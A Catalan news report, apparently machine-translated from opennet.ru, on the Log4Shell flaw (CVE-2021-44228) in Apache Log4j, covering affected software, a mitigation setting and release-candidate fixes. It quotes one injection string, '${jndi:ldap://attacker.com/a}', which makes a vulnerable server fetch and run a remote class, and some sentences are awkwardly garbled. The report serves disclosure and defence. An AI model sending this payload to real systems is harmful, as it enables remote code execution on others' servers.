A Apache Log4j, un marc popular per organitzar el registre en aplicacions Java, s'ha identificat una vulnerabilitat crítica que permet executar codi arbitrari quan s'escriu un valor amb un format especial en el format "{jndi:URL}" al registre. L'atac es pot dur a terme en aplicacions Java que registren valors rebuts de fonts externes, per exemple, quan es mostren valors problemàtics en missatges d'error.
Cal assenyalar que gairebé tots els projectes que utilitzen marcs com Apache Struts, Apache Solr, Apache Druid o Apache Flink es veuen afectats pel problema, inclosos Steam, Apple iCloud, clients i servidors de Minecraft. S'espera que la vulnerabilitat pugui provocar una onada d'atacs massius a aplicacions corporatives, repetint la història de vulnerabilitats crítiques en el marc Apache Struts, que, segons una estimació aproximada, s'utilitza en aplicacions web pel 65% de Fortune. 100 empreses, inclosos els intents d'escanejar la xarxa per detectar sistemes vulnerables.
El problema s'agreuja pel fet que ja s'ha publicat un exploit, però encara no s'han compilat les solucions per a les branques estables. L'identificador CVE encara no s'ha assignat. La correcció només s'inclou a la branca de prova log4j-2.15.0-rc1. Com a solució alternativa per bloquejar la vulnerabilitat, es recomana establir el paràmetre log4j2.formatMsgNoLookups com a true.
El problema va ser causat per la compatibilitat de log4j amb el processament de màscares especials "{}" a les línies de registre, que es podrien utilitzar per realitzar consultes JNDI (Java Naming and Directory Interface). L'atac es redueix a passar una cadena amb la substitució "${jndi:ldap://attacker.com/a}", que, quan es processa, log4j enviarà. servidor Consulta LDAP d'attacker.com per a la ruta de classes de Java. Retornat servidor La ruta de l'atacant (per exemple, http://second-stage.attacker.com/Exploit.class) es carregarà i s'executarà en el context del procés actual, cosa que permetrà a l'atacant executar codi arbitrari al sistema amb els privilegis de l'aplicació actual.
Addendum 1: La vulnerabilitat té assignat l'identificador CVE-2021-44228.
Addendum 2: s'ha identificat una manera d'evitar la protecció afegida per la versió log4j-2.15.0-rc1. S'ha proposat una nova actualització, log4j-2.15.0-rc2, amb una protecció més completa contra la vulnerabilitat. El codi destaca el canvi associat a l'absència d'una terminació anormal en el cas d'utilitzar un URL JNDI amb un format incorrecte.
Font: opennet.ru
